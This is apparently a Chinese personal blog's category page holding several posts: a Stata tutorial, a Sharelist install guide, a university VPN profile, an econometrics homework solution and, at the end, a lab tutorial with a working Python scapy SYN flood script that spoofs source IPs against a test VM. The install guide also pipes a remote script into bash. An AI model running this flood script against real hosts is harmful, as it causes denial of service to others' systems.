分类 杂七杂八 下的文章

本文申明

  • 如果本文出现逻辑或者学术错误,请在本页留言或者联系作者邮箱(caoyongzhuo@qq.com[国内邮箱];warnerjulia866@gmail.com[国外邮箱])

  • 虽然Markdown语法优雅且规范,但由于博客采用复杂的显示模式,部分文字或表格会被浏览器转义为较丑样式,后期优化,还请谅解

  • 任何转载复用,请遵守 Creative Commons 国际准则,未经授权禁止商业用途

  • 未对接任何广告,下文推荐的数据分发平台均为作者亲测后推荐,读者可以自行选择阿里云[建议]、腾讯云[建议]、百度云[不建议]等大厂平台

  • 如需广告对接请移步上述邮箱或下述WX号,请说明来意,否则一律拒接

Stata安装

  • 本文使用 Stata17 MP 中文和谐版(永久激活序列号)编写,内置常用命令库,如需安装与作者相同版本的Stata或有数据分析、一对一辅导需求,请移步WX号:15624552379

image-20230113163316287

Stata导入数据

[-] 导入方式(为方便示例,都使用Excel数据,不考虑SQL数据库数据)

  • 使用代码导入


    1. 优点:对于超大型数据(一般是5w以上)的数据来说,使用代码导入更加快速,不易出错
    2. 缺点:要提前对于Excel数据进行分析整理
  • 使用Stata图形化界面导入


    1. 优点:对于中小型数据、不懂复杂数据结构的人来说是一种友好方式
    2. 缺点:不适合超大型数据导入

[-] 示例数据如下(请读者自行下载)

  • 为了博客运转速度不被大型文件拖垮,本文所有数据将全部托管于”七牛云CDN“进行转储并全球分发,请读者自行下载

  • 下载模式:点击加粗或高亮超链接文字跳转下载

  • 特别说明:七牛云CDN的付费挺贵的,希望不要有任何不怀好意之人使用网络下载器或爬虫频繁发起请求,博客安装了IP探针并且和公安联网,访客IP都将被记录存档,每12小时上传云端,如果遇到不法分子恶意请求或攻击,后果自负!

  • auto示例数据.xlsx下载

[-] 使用代码方式导入

cd "F:\STATA测试数据" //切换工作目录
clear //清除内存中的数据
set more off //设置结果滚动显示
import excel using "auto示例数据.xlsx", firstrow clear //更多参数请在命令行窗口输入 help import 进行详细语法查看
  • 工作目录以自己电脑的Excel文件存储地址为准,前三行是stata编码的三部曲
  • auto示例数据.xlsx是需要导入的文件名,具体以自己的文件名为准
  • firstrow参数是将Excel的第一行作为Stata变量名

image-20230113163923153

image-20230113164101176

  • clear参数是将目前Stata内存中的数据清楚
  • import的类型不止Excel一种,具体可以参考手册进行查看,手册查看方式:在命令行窗口输入 help import

[-] 使用Stata图形化界面导入

  • 打开Stata,在顶部选择”文件“?”导入“?”Excel电子表格“

image-20230114100637190

  • 在接下来的界面中,选择”浏览“?找到你”存放Excel的目录“?选择”工作表“?选择”单元格范围“?勾选”将第一行作为变量名“?点击”确定“

image-20230114102322326

image-20230114102440649

  • 此时数据已经导入Stata的数据管理器中,我们可以在右侧的<变量窗口##中看到导入的数据变量名(Excel表的第一行)

image-20230114102753628

  • 如果需要查看每一个变量名所对应的具体数值,我们可以点击Stata上方的数据编辑器

image-20230114103013997

数据类型、数据结构辨析

[-] Stata的常用数据类型

  • str --- 字符串类型 (在Stata 17的数据管理器中显示为黄色)
  • byte --- 字节类型 (在Stata 17的数据管理器中显示为白色)
  • int --- 整形类型 (在Stata 17的数据管理器中显示为白色)
  • double --- 数值类型 (在Stata 17的数据管理器中显示为蓝色)

认识基本的数据类型有助于后期在数据预处理过程中如merge、append、duplicates drop等命令的正常运行

[-] Stata的常用数据结构

  • 截面数据 --- 作者口诀:多个体,单时间
  • 时间序列数据 --- 作者口诀:单个体,多时间
  • 面板数据 --- 作者口诀:多个体,多时间


作者在此处使用 山东大学 - 陈强 -《高级计量经济学》中的课件进行阐释,陈强博客地址:http://www.econometrics-stata.com/col.jsp?id=101


  1. 截面数据
2013 年中国分省 GDP (亿元)
省份 GDP
北京 19500.56
天津 14370.16
河北 28301.41
山西 12602.24
内蒙古 16832.38
辽宁 27077.65
吉林 12981.46
黑龙江 14382.93
上海 21602.12
江苏 59161.75
浙江 37568.49
安徽 19038.87
福建 21759.64
江西 14338.5
山东 54684.33
河南 32155.86
湖北 24668.49
湖南 24501.67
广东 62163.97
广西 14378
海南 3146.46
重庆 12656.69
四川 26260.77
贵州 8006.79
云南 11720.91
西藏 807.67
陕西 16045.21
甘肃 6268.01
青海 2101.05
宁夏 2565.06
新疆 8360.24
  1. 时间序列数据
1994-2013 年山东省 GDP (亿元)
年份 GDP
1994 3844.5
1995 4953.35
1996 5883.8
1997 6537.07
1998 7021.35
1999 7493.84
2000 8337.47
2001 9195.04
2002 10275.5
2003 12078.2
2004 15021.8
2005 18366.9
2006 21900.2
2007 25776.9
2008 30933.3
2009 33896.6
2010 39169.9
2011 45361.9
2012 50013.2
2013 54684.3
  1. 面板数据
1994-2013 年中国分省 GDP (亿元)
省份 年份 GDP
北京 1994 1145.31
北京 1995 1507.69
... ... ...
北京 2012 17879.4
北京 2013 19500.56
天津 1994 732.89
天津 1995 931.97
... ... ...
天津 2012 12893.88
天津 2013 14370.16
... ... ...
新疆 1994 662.32
新疆 1995 814.85
... ... ...
新疆 2012 7505.31
新疆 2013 8360.24

在一般情况下,对于面板数据,我们可以拆分成截面数据和时间序列数据,但是这个过程无法逆向拆分,只可以逆向补充。原因是面板数据作为多个体、多时间的数据结构来说,想要拆分成截面数据的话,只需要提取单个时间节点的数据;想要拆分成时间序列数据的话,只需要提取单个个体的数据,这是一个十分有趣的过程,在下面我们进行详细介绍。

[-] 面板数据拆分为截面数据

** 面板数据拆分截面数据演示
cd "F:\STATA测试数据" //切换工作目录
clear //清除内存中的数据
set more off //设置结果滚动显示
import excel using "1994-2013年分省.xlsx", firstrow clear //导入面板数据

image-20230114144448416

  • 我们假设只需要截取1994年的界面数据
keep if 年份 == 1994 //第一种方式,使用keep保留符合要求的数据
drop if 年份 != 1994 //第二种方式,使用drop删除不符合要求的数据


此处Markdown语法与Stata语法出现了转义,请读者按照下图第14行代码中的"!="描述<不等于##逻辑判断


image-20230114145114977

[-] 面板数据拆分为时间序列数据

keep if 省份 == "北京" //第一种方式,使用keep保留符合要求的数据
drop if 省份 != "北京" //第二种方式,使用drop删除不符合要求的数据


此处Markdown语法与Stata语法出现了转义,请读者按照下图第14行代码中的"!="描述<不等于##逻辑判断


image-20230114181202928

字符串拼接

[-] 原始数据结构

| var1 | var2 | //变量名

% str % str % //数据类型

[-] 语法

gen new_var = var1 + var2

[-] 示例原始数据

| var1 | var2 |
| 12345| 5678 |

[-] 示例语法

gen sum_string = var1 + var2

[-] 示例结果数据

| var1 | var2 | sum_string | //变量名
| 12345 | 5678 | 123455678 | //变量名所对应的数值

字符串拆分

[-] 原始数据结构

| sum_string |

% str %

[-] 语法

gen new_var = substr(sum_string,m,n)

  • m : 从单元格第几个字符开始
  • n :从开始字符选择几个字符
  • 注意:一个汉字占用2个字符,一个数字占用1个字符

[-] 示例原始数据

| sum_string |

| 12345678 |

[-] 示例语法

gen var3 = substr(sum_string,2,4)

[-] 示例结果数据

| var3 |

| 2345 |

分组求和(单、多层级)

[-] 原始数据结构

数据结构不限

[-] 语法

bysort var1 : egen new_var = sum(var2) // 以var1为分类,对var2分组求和

bysort var1 var3 : egen new_var = sum(var2) // 以var1为一级分类,var3为二级分类,对var2分组求和

  • 其中的sum()函数可以更换为count()分组计数、max()分组求最大值
  • 其中的new_var变量名换成自己想要的就行

[-] 示例原始数据

| var1 | var2 | var3 |
| 1 | 3 | A |
| 1 | 2 | A |
| 1 | 2 | A |
| 1 | 3 | B |
| 1 | 2 | B |
| 1 | 3 | B |
| 2 | 1 | A |
| 2 | 1 | A |
| 2 | 2 | A |
| 2 | 2 | B |
| 2 | 2 | B |

[-] 示例语法

bysort var1 var3 : egen newvar = count(var2)

[-] 示例结果数据

| var1 | var2 | var3 | new_var |
| 1 | 3 | A | 3 |
| 1 | 2 | A | 3 |
| 1 | 2 | A | 3 |
| 1 | 3 | B | 3 |
| 1 | 2 | B | 3 |
| 1 | 3 | B | 3 |
| 2 | 1 | A | 3 |
| 2 | 1 | A | 3 |
| 2 | 2 | A | 3 |
| 2 | 2 | B | 3 |
| 2 | 2 | B | 3 |

Ⅰ、// 电脑端安装(WIN)

一、环境搭建

1. 安装Git命令行工具

详情想看 “杂谈手记” ? ”WIN下安装Git并美化”一文

杂谈手记” ? ”WIN下安装Git并美化

2.安装Node.JS

详情想看 “杂谈手记” ? ”WIN下安装简易Web服务器环境”一文

杂谈手记” ? ”WIN下安装简易Web服务器环境

3.安装pm2管理工具

在Git命令行工具中输入如下指令:

npm i pm2 -g

安装过后记得查看是否成功

node -v
pm2 -v

二、安装Sharelist

1.打开Git命令行工具,进入要安装Sharelist的目录

我这里以D:/Git/download目录为例

2.输入如下命令,下载Sharelist程序安装包

#本地安装
git clone https://github.com/reruin/sharelist.git 
如果速度很慢的话,切换这个镜像地址
git clone --depth=1 https://github.com.cnpmjs.org/reruin/sharelist.git
或者
git clone --depth=1 https://hub.fastgit.org/reruin/sharelist.git

#远程安装(可选)
wget --no-check-certificate -qO-  https://raw.githubusercontent.com/reruin/sharelist/master/netinstall.sh | bash

#更新
bash update.sh

3.进入Sharelist目录

cd sharelist

4.运行安装命令

bash install.sh

5.此时打开 "http://localhost:33001"并显示界面,即为安装成功

6.安装报错,进行排查

当显示npm和pm2命令找不到时,进入sharelist文件夹,打开install.sh文件:

使用VS Code或者别的文本编辑器打开这个文件

注释掉这一行

这是一段PATH路径寻址的代码,因为我在安装Node.js环境时配置了全局环境变量,可能导致了它加载不到正确的路径,所以我们注释掉这段代码,就可以依靠全局环境变量正确寻址。

注释完毕重新安装Sharelist即可

三、启动并配置Sharelist挂载各大网盘

1.首次启动要配置网站管理员密码、名称、虚拟路径等等。随意,后期可改

2.点击页面下方的管理,输入刚刚设置的管理员密码,进入管理后台

3.配置自己所需的网盘,具体可以参考官方文档

大神的官方文档:ShareList Docs

4.逆天功能介绍:虚拟路径

① 首先创建一个文件夹,随便在哪都行,我这里D:\Git\download\虚拟路径

② 然后创建一个.d.ln格式的文件,我这里以ctcc.d.ln为例

③ 文件的内容格式是这样 挂载标识:挂载内容

具体如下:?

Sharelist虚拟路径挂载配置内容

④ 然后在Sharelist的管理后台绑定虚拟路径

⑤ 然后在首页刷新,出现“目录选项”

⑥ 点击进去,这个ctcc其实就是等效于首页的ctcc文件夹了

四、配置Sharelist挂载WebDav

如下配置即可?

WedDav可以把整个虚拟路径的配置转出,方便我们等下搭配RaiDrive映射本地硬盘

五、使用RaiDrive本地挂载硬盘

1.下载、安装RaiDrive

点我下载:RaiDrive, The Best Way to the remote storage

2.配置RaiDrive

3.配置信息如下

4.这样就是挂载成功了

5.成果如下

六、其他的注意事项?

Sharelist的其他注意事项

七、设置pm2自启动sharelist

pm2 start app.js --name sharelist --env prod //开启sharelist进程
pm2 save //保存进程信息
pm2 startup //开机自启动

八、pm2常用命令

pm2 start app.js # 启动app.js应用程序
pm2 start app.js -i 4 # cluster mode 模式启动4个app.js的应用实例
# 4个应用程序会自动进行负载均衡
pm2 start app.js --name="api" # 启动应用程序并命名为 "api"
pm2 start app.js --watch # 当文件变化时自动重启应用
pm2 start script.sh # 启动 bash 脚本

pm2 list # 列表 PM2 启动的所有的应用程序
pm2 monit # 显示每个应用程序的CPU和内存占用情况
pm2 show [app-name] # 显示应用程序的所有信息

pm2 logs # 显示所有应用程序的日志
pm2 logs [app-name] # 显示指定应用程序的日志
pm2 flush

pm2 stop all # 停止所有的应用程序
pm2 stop 0 # 停止 id为 0的指定应用程序
pm2 restart all # 重启所有应用
pm2 reload all # 重启 cluster mode下的所有应用
pm2 gracefulReload all # Graceful reload all apps in cluster mode
pm2 delete all # 关闭并删除所有应用
pm2 delete 0 # 删除指定应用 id 0
pm2 scale api 10 # 把名字叫api的应用扩展到10个实例
pm2 reset [app-name] # 重置重启数量

pm2 startup # 创建开机自启动命令
pm2 save # 保存当前应用列表
pm2 resurrect # 重新加载保存的应用列表
pm2 update # Save processes, kill PM2 and restore processes
pm2 generate # Generate a sample json configuration file
pm2 start app.js --node-args="--max-old-space-size=1024"

Ⅱ、// 电脑端安装(Linux)

Linux桌面端

首先很遗憾的是,RaiDrive的客户端只支持WIN系统。如果你电脑的主力系统是Linux,那么搭建完Sharelist以后只能用在网页访问,没法映射磁盘。

1.安装Git

#Debian/Ubuntu 系统及其发行分支
sudo apt-get -y install git

CentOS/RHEL 系统及其发行分支
sudo yum -y install git

2.下载Sharelist

#本地安装
git clone https://github.com/reruin/sharelist.git 
如果速度很慢的话,切换这个镜像地址
git clone --depth=1 https://github.com.cnpmjs.org/reruin/sharelist.git
或者
git clone --depth=1 https://hub.fastgit.org/reruin/sharelist.git

#远程安装(可选)
wget --no-check-certificate -qO-  https://raw.githubusercontent.com/reruin/sharelist/master/netinstall.sh | bash

#更新
bash update.sh

3.安装Sharelist

cd sharelist
bash install.sh

4.启动Sharelist

浏览器输入http://localhost:33001即可

5.设置自启动命令同WIN

Linux服务器端

上述不管是WIN还是Linux桌面端,都无法摆脱的问题是电脑一关机Sharelist也就关闭了,对于搞资源分享的小伙伴来说不是很友好啊,那么如果你有这个需求恰好还有一台Linux服务器的话,不妨试试这样配置,能实现24H不间断的服务。

1.至5.同桌面端

6.安装宝塔,配置好Web环境

我估摸着能看到这里的都是老司机了,我就不赘述这些过程了

7.建立好一个新的站点,绑定、解析好域名

8.域名反代,如图所示

9.启动Sharelist

接下来在任何一台设备输入站点域名即可成果启动Sharelist

10.映射磁盘

虽然Sharelist服务端在Linux服务器上跑着,但只要你工作的电脑不是Linux而是WIN,那么你也可以像文章一开始那样映射磁盘,只需要修改一下RaiDrive的配置:将127.0.0.1改为?宝塔面板绑定的Sharelist域名;33001端口改为?网站域名端口(默认80端口)

Ⅲ、//手机端安装

1.下载Termux

Termux是一个命令行工具,前往官网下载最新版

点我下载:Termux

2.安装git

pkg install git

3.安装Node.js

pkg install nodejs

4.下载Sharelist

#本地安装
git clone https://github.com/reruin/sharelist.git 
如果速度很慢的话,切换这个镜像地址
git clone --depth=1 https://github.com.cnpmjs.org/reruin/sharelist.git
或者
git clone --depth=1 https://hub.fastgit.org/reruin/sharelist.git

#远程安装(可选)
wget --no-check-certificate -qO-  https://raw.githubusercontent.com/reruin/sharelist/master/netinstall.sh | bash

#更新
bash update.sh

5.安装Sharelist

cd sharelist
bash install.sh

6.安装npm

npm install

7.安装pm2

npm i pm2 -g

8.启动Sharelist服务

pm2 start app.js --name sharelist --env prod

9.输入网址"http://127.0.0.1:33001",完成

一、免责申明

  • 此文件仅供山东财经大学(学生用户)使用。
  • 技术含量不高,所有大家不用担心自己的用户名和密码安全,全部都是本地化的。
  • PBK文件为微软官方执行文件,未二次打包,防火墙要是报错请忽视。
  • 不是网络信息中心官网VPN配置方式,要是有顾虑大可自己设置。
  • 如有侵权请联系我删除,仅供学习参考,请勿用于非法获利。

二、下载地址

https://caoyongzhuo.cn/山财VPN/一键连接山财VPN.pbk

三、使用教程

  1. 双击 一键连接山财VPN.pbk 程序

image-20220503105846950

  1. 点击 连接 按钮

image-20220503110053935

  1. 输入 账号 密码,点击连接

image-20220503110336570

  1. 显示连接中

image-20220503110446489

  1. 现在就可以上内网网站了
  2. 如需挂断VPN,重新双击程序

image-20220503110608781

  1. 选择 挂断 即可

image-20220503110617521

四、常见问题及其解决

  1. 错误代码691

  • 这个问题大概率是你的用户名密码输错了。
  • 也可能是协议不正确导致的。
  • 确保如下信息完全一致。

  1. 错误代码628

  • 学校服务器中止连接了
  • 只需要重拨就行

五、代码原理

# 不要伪造Guid,否则后果自负!!
# 不要伪造Guid,否则后果自负!!
# 不要伪造Guid,否则后果自负!!
Encoding=1
PBVersion=6
Type=2
AutoLogon=0
UseRasCredentials=1
LowDateTime=580261312
HighDateTime=30957053
DialParamsUID=18500140
Guid=2E9E33939D329043A37D3C1631C02343
VpnStrategy=3
ExcludedProtocols=0
LcpExtensions=1
DataEncryption=8
SwCompression=0
NegotiateMultilinkAlways=0
SkipDoubleDialDialog=0
DialMode=0
OverridePref=15
RedialAttempts=3
RedialSeconds=60
IdleDisconnectSeconds=0
RedialOnLinkFailure=1
CallbackMode=0
CustomDialDll=
CustomDialFunc=
CustomRasDialDll=
ForceSecureCompartment=0
DisableIKENameEkuCheck=0
AuthenticateServer=0
ShareMsFilePrint=1
BindMsNetClient=1
SharedPhoneNumbers=0
GlobalDeviceSettings=0
PrerequisiteEntry=
PrerequisitePbk=
PreferredPort=VPN3-0
PreferredDevice=WAN Miniport (L2TP)
PreferredBps=0
PreferredHwFlow=1
PreferredProtocol=1
PreferredCompression=1
PreferredSpeaker=1
PreferredMdmProtocol=0
PreviewUserPw=1
PreviewDomain=1
PreviewPhoneNumber=0
ShowDialingProgress=1
ShowMonitorIconInTaskBar=1
CustomAuthKey=0
AuthRestrictions=544
IpPrioritizeRemote=1
IpInterfaceMetric=0
IpHeaderCompression=0
IpAddress=0.0.0.0
IpDnsAddress=0.0.0.0
IpDns2Address=0.0.0.0
IpWinsAddress=0.0.0.0
IpWins2Address=0.0.0.0
IpAssign=1
IpNameAssign=1
IpDnsFlags=0
IpNBTFlags=1
TcpWindowSize=0
UseFlags=2
IpSecFlags=1
IpDnsSuffix=
Ipv6Assign=1
Ipv6Address=::
Ipv6PrefixLength=0
Ipv6PrioritizeRemote=1
Ipv6InterfaceMetric=0
Ipv6NameAssign=1
Ipv6DnsAddress=::
Ipv6Dns2Address=::
Ipv6Prefix=0000000000000000
Ipv6InterfaceId=0000000000000000
DisableClassBasedDefaultRoute=0
DisableMobility=0
NetworkOutageTime=0
IDI=
IDR=
ImsConfig=0
IdiType=0
IdrType=0
ProvisionType=0
PreSharedKey=
CacheCredentials=1
NumCustomPolicy=0
NumEku=0
UseMachineRootCert=0
Disable_IKEv2_Fragmentation=0
PlumbIKEv2TSAsRoutes=0
NumServers=0
RouteVersion=1
NumRoutes=0
NumNrptRules=0
AutoTiggerCapable=0
NumAppIds=0
NumClassicAppIds=0
SecurityDescriptor=
ApnInfoProviderId=
ApnInfoUsername=
ApnInfoPassword=
ApnInfoAccessPoint=
ApnInfoAuthentication=1
ApnInfoCompression=0
DeviceComplianceEnabled=0
DeviceComplianceSsoEnabled=0
DeviceComplianceSsoEku=
DeviceComplianceSsoIssuer=
WebAuthEnabled=0
WebAuthClientId=
FlagsSet=0
Options=0
DisableDefaultDnsSuffixes=0
NumTrustedNetworks=0
NumDnsSearchSuffixes=0
PowershellCreatedProfile=0
ProxyFlags=0
ProxySettingsModified=0
ProvisioningAuthority=
AuthTypeOTP=0
GREKeyDefined=0
NumPerAppTrafficFilters=0
AlwaysOnCapable=0
DeviceTunnel=0
PrivateNetwork=0

NETCOMPONENTS=
ms_msclient=1
ms_server=1

MEDIA=rastapi
Port=VPN3-0
Device=WAN Miniport (L2TP)

DEVICE=vpn
PhoneNumber=ipsec.sdufe.edu.cn
AreaCode=
CountryCode=0
CountryID=0
UseDialingRules=0
Comment=
FriendlyName=
LastSelectedPhone=0
PromoteAlternates=0
TryNextAlternateOnFail=1

一、作业要求(数据文件homework.dta)

  • 画出ln_wage和tenure的散点图以及拟合曲线。
  • 以ln_wage为被解释变量,以age、race、msp、grade、south、union为解释变量,做描述性统计分析,给出变量之间的相关性水平,做普通最小二乘回归(报告估计系数、t统计值、F值、R2、观测值个数),以上结果以表格形式输出。
  • 以ln_wage为被解释变量,以age、msp、south、union为解释变量,做个体固定效应回归(在idcode层面做聚类稳健标准误),以表格形式输出回归结果,报告组间R2。
  • 以ln_wage为被解释变量,以age、msp、south、union为解释变量,做个体随机效应回归,以表格形式输出回归结果,报告组内R2。
  • 利用hausman检验判断应该是个体固定效应回归还是个体随机效应回归,报告hausman统计值。
  • 数据文件下载地址

二、代码文件如下(如有错误,请指正)

*切换路径*
clear
cd "F:\数学建模\计量经济学\homework" //数据文件所在目录
set more off
use homework.dta //使用homework.dta
*1.1绘制ln_wage和tenure散点图*
scatter ln_wage tenure
*1.2绘制ln_wage和tenure拟合优度*
twoway (lfit ln_wage tenure)
*补充:ln_wage和tenure散点图和拟合优度复合*
twoway (scatter ln_wage tenure ) (lfit ln_wage tenure)
*2.1.1给出一般描述性统计结果*
su ln_wage age race msp grade south union,de
*2.1.2给出详细描述性统计结果*
tabstat ln_wage age race msp grade south union, stat( mean sd p5 p25 med p75 p95 min max )
*2.2给出变量之间的相关性水平*
pwcorr   ln_wage age race msp grade south union,star(0.05)
*2.3普通最小二乘回归*
reg ln_wage age race msp grade south union
*2.4使用outreg2命令输出结果*
est store Result
//保留R²,F统计量,样本回归系数(保留三位小数),T统计量(保留两位小数)
outreg2 [Result] using Result.xsl, replace tstat e(r2,F) bdec(3) tdec(2)
*3.1告诉stata该数据为面板数据(工资ln_wage和年份year)*
xtset idcode year
*3.2个体固定效应回归(在idcode层面做聚类稳健标准误)*
xtreg ln_wage age msp south union ,fe vce(cluster idcode)
*3.3输出结果,汇报组间R² *
est store Xtreg_Fe
outreg2 [Xtreg_Fe] using Xtreg_Fe.xsl, replace tstat e(r2_b) 
*4.1个体随机效应回归(在idcode层面做聚类稳健标准误)*
xtreg ln_wage age msp south union i.year,re vce(cluster idcode)
*4.2输出结果,汇报组内R² *
est store Xtreg_Re
outreg2 [Xtreg_Re] using Xtreg_Re.xsl, replace tstat e(r2_w) 
*利用hausman检验判断应该是个体固定效应回归还是个体随机效应回归*
//个体固定回归(不做聚类稳健标准误)
xtreg ln_wage age msp south union ,fe 
est store Xtreg_Fe_1
//个体随机回归(不做聚类稳健标准误)
xtreg ln_wage age msp south union i.year,re
est store Xtreg_Re_1
//计算hausman
hausman Xtreg_Fe_1 Xtreg_Re_1,constant sigmamore

三、数据结果的图文说明

切换路径*
clear
cd "F:\数学建模\计量经济学\homework" //数据文件所在目录
set more off
use homework.dta  //使用homework.dta 

1. 画出ln_wage和tenure的散点图以及拟合曲线。

1.1绘制ln_wage和tenure散点图*
scatter ln_wage tenure

img

1.2绘制ln_wage和tenure拟合优度*
twoway (lfit ln_wage tenure)

img

补充:ln_wage和tenure散点图和拟合优度复合*
twoway (scatter ln_wage tenure) (lfit ln_wage tenure)

img

2. 以ln_wage为被解释变量,以age、race、msp、grade、south、union为解释变量,做描述性统计分析,给出变量之间的相关性水平,做普通最小二乘回归(报告估计系数、t统计值、F值、R2、观测值个数),以上结果以表格形式输出。

2.1.1给出一般描述性统计结果*
su ln_wage **age race msp grade south union,**de
*2.1.2给出详细描述性统计结果*
tabstat ln_wage **age race msp grade south union,** stat**(** mean sd p5 p25 med p75 p95 min max **)

img

2.2给出变量之间的相关性水平*
pwcorr  ln_wage **age race msp grade south union,**star**(0.05)

img

2.3普通最小二乘回归*
reg ln_wage **age race msp grade south union**
*2.4使用outreg2命令输出结果*
est store **Result**
//保留R²,F统计量,样本回归系数(保留三位小数),T统计量(保留两位小数)
outreg2 **[Result] using** Result.xsl**, replace** tstat **e(r2,F) bdec(3) tdec(2)

回归结果如下:

img

结果报告:**
​                    **age   race  msp   grade  south  union  Constant**
**估计系数:[0.009]  [-0.051] [-0.016] [0.078] [-0.124]  [0.182]  [0.552]**
**T统计量:(-19.65)  (-8.03) (-2.60)  (-62.33) (-20.02) (-26.05) (-23.75)**
​    **F值:1145**                  **R2:0.263**                 **Obs:19213

3. 以ln_wage为被解释变量,以age、msp、south、union为解释变量,做个体固定效应回归(在idcode层面做聚类稳健标准误),以表格形式输出回归结果,报告组间R2。

*3.1告诉stata该数据为面板数据(工资ln_wage和年份year)*
xtset idcode year
*3.2个体固定效应回归(在idcode层面做聚类稳健标准误)*
xtreg ln_wage age msp south union ,fe vce(cluster idcode)

img

*3.3输出结果,汇报组间R² *
est store Xtreg_Fe
outreg2 [Xtreg_Fe] using Xtreg_Fe.xsl, replace tstat e(r2_b)

结果如下:

img

结果报告:组间R2的值为 0.0711

4. 以ln_wage为被解释变量,以age、msp、south、union为解释变量,做个体随机效应回归,以表格形式输出回归结果,报告组内R2。

***4.1****个体随机效应回归(在****idcode****层面做聚类稳健标准误)*******
xtreg ln_wage age msp south union i.year**,**re **vce(**cluster **idcode)

img

***4.2****输出结果,汇报组内****R² \***
est **store** Xtreg_Re
outreg2 **[**Xtreg_Re**] using** Xtreg_Re.xsl**,** replace **tstat e(r2_w)

结果如下:

img

结果报告:组内R2的值为 0.101

5. 利用hausman检验判断应该是个体固定效应回归还是个体随机效应回归,报告hausman统计值

*****利用****hausman****检验判断应该是个体固定效应回归还是个体随机效应回归*******
**//****个体固定回归(不做聚类稳健标准误)**
xtreg **ln_wage age msp south union ,**fe 
est **store Xtreg_Fe_1

img

//****个体随机回归(不做聚类稳健标准误)**
xtreg ln_wage age msp south union **i.year,**re
est **store** Xtreg_Re_1

img

//****计算****hausman**
hausman Xtreg_Fe_1 Xtreg_Re_1**,constant** sigmamore

img

hausman结果报告: chi2值为107.18 ,同时 P统计量 = 0.000 < 0.05结果显著。**
​                  **拒绝原假设(H0:** **个体随机效应回归),采用(个体固定效应回归)

++++++++++++++++++++++++++ 计量经济学 Copyright By © 学金融的文科生 ++++++++++++++++++++++++++

编写python脚本实现SYN FLOOD(DDOS)

原理

SYN FLOOD是DDOS的一种,发生在OSI第四层,这种方式利用TCP协议的特性,就是三次握手。攻击者发送TCP SYN,SYN是TCP三次握手中的第一个数据包,当服务器返回ACK后,该攻击者就不对其进行再确认,那这个TCP连接就处于挂起状态,也就是所谓的半连接状态,服务器收不到再确认的话,还会重复发送ACK给攻击者。

攻击者就对服务器发送非常大量的这种TCP连接,由于每一个都没法完成三次握手,所以在服务器上,这些TCP连接会因为挂起状态而消耗CPU和内存,最后服务器可能死机,从而就无法为正常用户提供服务了。

实验方式

在本机运行脚本,攻击kali linux靶机的80端口,模拟攻击靶机网站,然后在kali linux里使用wireshark观察接收数据分析信息验证是否成功。

Python脚本

import random
import time
from scapy.all import *
#这里的tgt是被攻击的靶机的IP地址
tgt="192.168.137.128"
print(tgt)
dPort = 80
def synFlood(tgt,dPort):
    srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
    for sPort in range(1024,65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
        packet = ipLayer / tcpLayer
        send(packet)
synFlood(tgt,dPort)

kali linux靶机开启apache,并且绑定0.0.0.0:80端口

查看服务开启状态

service --stauts-all

image-20210202203157420.png

这里apache没有开启,我们将其开启

service apache2 start

小插曲:主机访问不了kali linux虚拟机的解决方案

这中间遇到了个小插曲,我的主机访问不了虚拟机,这里需要进行网卡还原操作。

image-20210202225908914.png

image-20210202225925780.png

需要管理员权限,编辑ports.conf文件

sudo vim /etc/apache2/ports.conf

编辑文件将80端口改成0.0.0.0:80

image-20210202230205090.png

在kali打开wireshark

image-20210202230706745.png

windows里运行python脚本

kali里面是自带的scapy,这里windows电脑要提前装好scapy

pip3 install scapy-python3

如果中间提示

Traceback (most recent call last):
  File "D:\PycharmProjects\new\main.py", line 3, in
    from scapy.all import *
ModuleNotFoundError: No module named 'scapy'

如下图所示

image-20210202235625714.png

我们需要将scapy的包拷到项目的目录里就好了

image-20210202235803145.png

然后就可以运行了,可以看到已经在疯狂发包了。

image-20210202235851148.png

kali这边已经可以看到很多发送请求,这里通过SNY FLOOD可以占用虚拟机很大的资源,但是这里因为是内网所以带宽方面表现不明显,如果是外网的话,通过SNY断开连接占用大量带宽资源,应该会有明显的卡顿。

image-20210203000131440.png